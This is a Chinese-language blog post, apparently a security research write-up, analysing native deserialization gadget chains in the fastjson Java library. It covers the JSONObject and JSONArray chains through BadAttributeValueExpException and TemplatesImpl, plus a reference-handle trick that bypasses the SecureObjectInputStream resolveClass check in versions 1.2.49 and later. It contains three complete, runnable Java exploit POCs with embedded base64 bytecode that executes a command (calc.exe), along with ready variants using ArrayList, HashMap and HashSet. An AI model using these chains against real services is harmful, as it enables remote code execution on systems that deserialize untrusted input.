前言

在前面fastjson利用中,我们是通过利用@type获取我们的恶意对象,然后通过调用其构造方法、setter和getter方法来造成漏洞。而在fastjson依赖包中,同样也存在着和CC链一样的利用方式,通过从readObject出发的原生链。

在fastjson中可以序列化的类有:

  • com.alibaba.fastjson.JSONArray
  • com.alibaba.fastjson.JSONObject
  • com.alibaba.fastjson.JSONException
  • com.alibaba.fastjson.JSONPathException

image-20251003185236767

fastjson<=1.2.48&2

版本限制:fastjson1小于等于1.2.48版本、fastjson2 2.0.26版本以下通杀,从2.0.27开始被修复。

JSONObject链

主要利用点在于JSON.toString方法:

image-20251003193623002

它会调用toJSONString方法:

image-20251003193704308

其中JSONSerializer(out).write就是进行序列化并且调用对象getter方法的地方:
image-20251003193808150

先获取对象类型及序列化器,然后调用write方法进行序列化并调用类的getter方法

所以我们的思路就是在反序列化时通过调用JSON#toString方法触发恶意类如TemplatesImpl的getter方法来加载恶意字节码

如何能够调用JSON#toString方法呢?这里我们很容易想到CC5链,在CC5中我们通过BadAttributeValueExpException#readObject调用TiedMapEntry.toString()方法,这里我们只用改成调用JSONObject.toString即可:
image-20251003210457813

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;

public class test {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();

byte[] codes= Base64.getDecoder().decode("yv66vgAAADQALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAGTGV2aWw7AQAKRXhjZXB0aW9ucwcAJQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHACYBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAAcACAcAJwwAKAApAQAIY2FsYy5leGUMACoAKwEABGV2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAQAACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAACAAoAAAAOAAMAAAAKAAQACwANAAwACwAAAAwAAQAAAA4ADAANAAAADgAAAAQAAQAPAAEAEAARAAIACQAAAD8AAAADAAAAAbEAAAACAAoAAAAGAAEAAAAQAAsAAAAgAAMAAAABAAwADQAAAAAAAQASABMAAQAAAAEAFAAVAAIADgAAAAQAAQAWAAEAEAAXAAIACQAAAEkAAAAEAAAAAbEAAAACAAoAAAAGAAEAAAATAAsAAAAqAAQAAAABAAwADQAAAAAAAQASABMAAQAAAAEAGAAZAAIAAAABABoAGwADAA4AAAAEAAEAFgABABwAAAACAB0=");
setValue(templates,"_bytecodes",new byte[][]{codes});
setValue(templates,"_name","b1uel0n3");
setValue(templates,"_tfactory",new TransformerFactoryImpl());
setValue(templates,"_class",null);

JSONObject jsonObject = new JSONObject();
jsonObject.put("b1uel0n3",templates);

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
setValue(badAttributeValueExpException,"val",jsonObject);

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(badAttributeValueExpException);
oos.close();

ByteArrayInputStream in = new ByteArrayInputStream(barr.toByteArray());
ObjectInputStream ois = new ObjectInputStream(in);
Object ob = (Object) ois.readObject();
}
public static void setValue(Object obj, String filedname, Object value) throws Exception {
Field field=obj.getClass().getDeclaredField(filedname);
field.setAccessible(true);
field.set(obj,value);
}
}

image-20251003210811776

跟进源码分析:
image-20251003210913689

此时获得的序列化器是MapSerializer,调用MapSerializer.write方法:
image-20251003211827651

其中会遍历Map中的每个键值对,随后会对键值对进行过滤和转换,会将键统一转换成字符串类型好进行后续序列化操作

image-20251003213004173

这里获取键值的类型及序列化器ASMSerializer_1_TemplatesImpl

image-20251003213224766

随后调用ASMSerializer_1_TemplatesImpl.write方法进行序列化,里面就会调用TemplatesImpl属性的getter方法getOutputProperties()方法弹计算机

利用链:

1
2
3
4
5
6
7
8
ObjectInputStream -> readObject()
BadAttributeValueExpException -> readObject()
JSONObject -> toString()
JSON -> toString()
JSON -> toJSONString()
MapSerializer -> write()
ASMSerializer_1_TemplatesImpl -> write()
TemplatesImpl -> getOutputProperties()

JSONArray链

JSONArray链原理是一样的,他和JSONObject都是继承于JSON类:
image-20251003214051147

所以原理上同样是调用JSON.toString方法触发,这里是通过add方法添加:

image-20251003214320076

1
2
JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONArray;
import com.alibaba.fastjson.JSONObject;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;

public class test {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();

byte[] codes= Base64.getDecoder().decode("yv66vgAAADQALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAGTGV2aWw7AQAKRXhjZXB0aW9ucwcAJQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHACYBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAAcACAcAJwwAKAApAQAIY2FsYy5leGUMACoAKwEABGV2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAQAACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAACAAoAAAAOAAMAAAAKAAQACwANAAwACwAAAAwAAQAAAA4ADAANAAAADgAAAAQAAQAPAAEAEAARAAIACQAAAD8AAAADAAAAAbEAAAACAAoAAAAGAAEAAAAQAAsAAAAgAAMAAAABAAwADQAAAAAAAQASABMAAQAAAAEAFAAVAAIADgAAAAQAAQAWAAEAEAAXAAIACQAAAEkAAAAEAAAAAbEAAAACAAoAAAAGAAEAAAATAAsAAAAqAAQAAAABAAwADQAAAAAAAQASABMAAQAAAAEAGAAZAAIAAAABABoAGwADAA4AAAAEAAEAFgABABwAAAACAB0=");
setValue(templates,"_bytecodes",new byte[][]{codes});
setValue(templates,"_name","b1uel0n3");
setValue(templates,"_tfactory",new TransformerFactoryImpl());
setValue(templates,"_class",null);

JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
setValue(badAttributeValueExpException,"val",jsonArray);

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(badAttributeValueExpException);
oos.close();

ByteArrayInputStream in = new ByteArrayInputStream(barr.toByteArray());
ObjectInputStream ois = new ObjectInputStream(in);
Object ob = (Object) ois.readObject();
}
public static void setValue(Object obj, String filedname, Object value) throws Exception {
Field field=obj.getClass().getDeclaredField(filedname);
field.setAccessible(true);
field.set(obj,value);
}
}

image-20251003214419745

同样跟进源码分析:
image-20251003214530817

这时获得的序列化器是ListSerializer类型,调用ListSerializer.write方法:

image-20251003215324455

先循环JSONArray中的list对象获取到TemplateImpl

image-20251003221321867

获取序列化器然后进行序列化

fastjson>=1.2.49

依赖:

1
2
3
4
5
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.49</version>
</dependency>

原来的POC切换至1.2.49版本会发生报错:
image-20251004164827591

在新版本中JSONArray和JSONObject都有了自己的readObject方法:

JSONArray#readObject:

image-20251004163635349

JSONObject#readObject:
image-20251004163803303

同时还新增了一个SecureObjectInputStream类,继承于ObjectInputStream,重写了resolveClass方法:
image-20251004163952911

而通过我们上面的报错可以看到是在触发readObject反序列化时引起的,最后触发resolveClass方法调用checkAutoType方法对恶意类进行检查。

所以所以我们需要阻止触发resolveClass方法,我们这里先分析一下是如何触发该方法的,在readObject处打个断点:

image-20251004170049248

首先会调用ObjectInputStream#readObject0方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
try {
switch (tc) {
case TC_NULL:
return readNull();

case TC_REFERENCE:
return readHandle(unshared);

case TC_CLASS:
return readClass(unshared);

case TC_CLASSDESC:
case TC_PROXYCLASSDESC:
return readClassDesc(unshared);

case TC_STRING:
case TC_LONGSTRING:
return checkResolve(readString(unshared));

case TC_ARRAY:
return checkResolve(readArray(unshared));

case TC_ENUM:
return checkResolve(readEnum(unshared));

case TC_OBJECT:
return checkResolve(readOrdinaryObject(unshared));

case TC_EXCEPTION:
IOException ex = readFatalException();
throw new WriteAbortedException("writing aborted", ex);

case TC_BLOCKDATA:
case TC_BLOCKDATALONG:
if (oldMode) {
bin.setBlockDataMode(true);
bin.peek(); // force header read
throw new OptionalDataException(
bin.currentBlockRemaining());
} else {
throw new StreamCorruptedException(
"unexpected block data");
}

case TC_ENDBLOCKDATA:
if (oldMode) {
throw new OptionalDataException(true);
} else {
throw new StreamCorruptedException(
"unexpected end of block data");
}

default:
throw new StreamCorruptedException(
String.format("invalid type code: %02X", tc));
}
} finally {
depth--;
bin.setBlockDataMode(oldMode);
}

其中会通过读取流中的标识判断反序列化的类型,也就常见的基本类型和引用类型,需要注意的是上面的不同case中大部分类都会最终调用readClassDesc去获取类的描述符:

image-20251004170715353

如果下一位是TC_CLASSDESC即普通类则会调用readNonProxyDesc方法:
image-20251004171112249

方法下会触发resolveClass方法

回到我们之前的流程,由于一开始会先反序列化BadAttributeValueExpException然后再反序列化JSONArray,由于都是普通对象,所以回转到TC_OBJECT调用checkResolve(readOrdinaryObject(unshared));方法读取并返回普通对象,注意readOrdinaryObject方法会调用readClassDesc方法:
image-20251004174146861

然后调用JSONArray的readObject方法:
image-20251004172659395

这里创建了一个SecureObjectInputStream实例,然后调用SecureObjectInputStream.defaultReadObject方法调用安全输入流的默认反序列化方法:

image-20251004173438537

接着会以同样的方式对ArrayList进行反序列化,而这里由于SecureObjectInputStream重写了resolveClass方法,所以会执行SecureObjectInputStream#resolveClass方法:

image-20251004174934195

然后就会调用checkAutoType对我们的恶意类进行检测然后报错

所以整体流程就是:

1
2
3
4
5
6
7
8
9
10
11
12
ObjectInputStream -> readObject()
ObjectInputStream -> readObject0()
BadAttributeValueExpException -> readObject()
JSONArray -> readObject()
SecureObjectInputStream -> defaultReadObject()
ArrayList -> readObject()
ObjectInputStream -> readObject1()
ObjectInputStream -> readOrdinaryObject()
ObjectInputStream -> readClassDesc()
ObjectInputStream -> readNonProxyDesc()
SecureObjectInputStream -> resolveClass()
ParserConfig -> checkAutoType()

所以说到底主要的逻辑就是在反序列化时会调用resolveClass方法,正好SecureObjectInputStream重写了该方法所以就被执行了

所以我们需要找到一个类正好不触发resolveClass方法,而大部分resolveClass都是通过readClassDesc执行,所以不触发readClassDesc即可

而不会调用readClassDesc的分支有TC_NULL、TC_REFERENCE、TC_STRING、TC_LONGSTRING、TC_EXCEPTION,其中string与null这种对我们毫无用处的,exception类型则是解决序列化终止相关,那么就只剩下了reference引用类型了

也就是说,在JSONArray/JSONObject对象反序列化恢复对象时,可以让我们的恶意类成为引用类型从而绕过resolveClass的检查

那么如何建立一个引用呢?

这里我们可以使用像List、map、set类型中添加同样对象即可成功利用,demo:

1
2
3
4
ArrayList<Object> arrayList = new ArrayList<>();
arrayList.add(templates);
arrayList.add(templates);
writeObjects(arrayList);

当写入对象时,会在handles哈希表中建立从对象到引用的映射

而List、map、set类型的序列化会遍历对象中的元素分别进行序列化,当List、set、map类型的对象中有两个相同类型的对象,当再次写入同一对象时,在handles这个hash表中查到了映射,那么就会通过writeHandle将重复对象以引用类型写入

所以我们的思路就是在序列化时先将templates先加入到arrayList中,后面JSONArray中再次序列化TemplatesImpl时,由于在handle这个hash表中查到了映射,后续则会以引用输出

而反序列化时ArrayList先通过readObject方法恢复TemplatesImpl对象,之后恢复BadAttributeValueExpException对象,恢复过程中,由于BadAttributeValueExpException要恢复val对应的JSONArray/JSONObject对象,会触发JSONArray/JSONObject的readObject方法,将这个过程委托给SecureObjectInputStream,在恢复JSONArray/JSONObject中的TemplatesImpl对象时,由于此时的第二个TemplatesImpl对象是引用类型,通过readHandle恢复对象的途中不会触发resolveClass,由此实现了绕过

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONArray;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.ListSerializer;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.Base64;

public class test {
private String name="b1uel0n3";

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();

byte[] codes= Base64.getDecoder().decode("yv66vgAAADQALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAGTGV2aWw7AQAKRXhjZXB0aW9ucwcAJQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHACYBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAAcACAcAJwwAKAApAQAIY2FsYy5leGUMACoAKwEABGV2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAQAACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAACAAoAAAAOAAMAAAAKAAQACwANAAwACwAAAAwAAQAAAA4ADAANAAAADgAAAAQAAQAPAAEAEAARAAIACQAAAD8AAAADAAAAAbEAAAACAAoAAAAGAAEAAAAQAAsAAAAgAAMAAAABAAwADQAAAAAAAQASABMAAQAAAAEAFAAVAAIADgAAAAQAAQAWAAEAEAAXAAIACQAAAEkAAAAEAAAAAbEAAAACAAoAAAAGAAEAAAATAAsAAAAqAAQAAAABAAwADQAAAAAAAQASABMAAQAAAAEAGAAZAAIAAAABABoAGwADAA4AAAAEAAEAFgABABwAAAACAB0=");
setValue(templates,"_bytecodes",new byte[][]{codes});
setValue(templates,"_name","b1uel0n3");
setValue(templates,"_tfactory",new TransformerFactoryImpl());
setValue(templates,"_class",null);

JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
setValue(badAttributeValueExpException,"val",jsonArray);

ArrayList arrayList = new ArrayList();
arrayList.add(templates);
arrayList.add(badAttributeValueExpException);

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(arrayList);
oos.close();

ByteArrayInputStream in = new ByteArrayInputStream(barr.toByteArray());
ObjectInputStream ois = new ObjectInputStream(in);
Object ob = (Object) ois.readObject();
}
public static void setValue(Object obj, String filedname, Object value) throws Exception {
Field field=obj.getClass().getDeclaredField(filedname);
field.setAccessible(true);
field.set(obj,value);
}
}

image-20251004183726299

HashMap一样的道理:

1
2
3
HashMap hashMap=new HashMap();
hashMap.put("b1uel0n3",templates);
hashMap.put("B1uel0n3",badAttributeValueExpException);

Set:

1
2
3
Set hashset=new HashSet<>();
hashset.add(templates);
hashset.add(badAttributeValueExpException);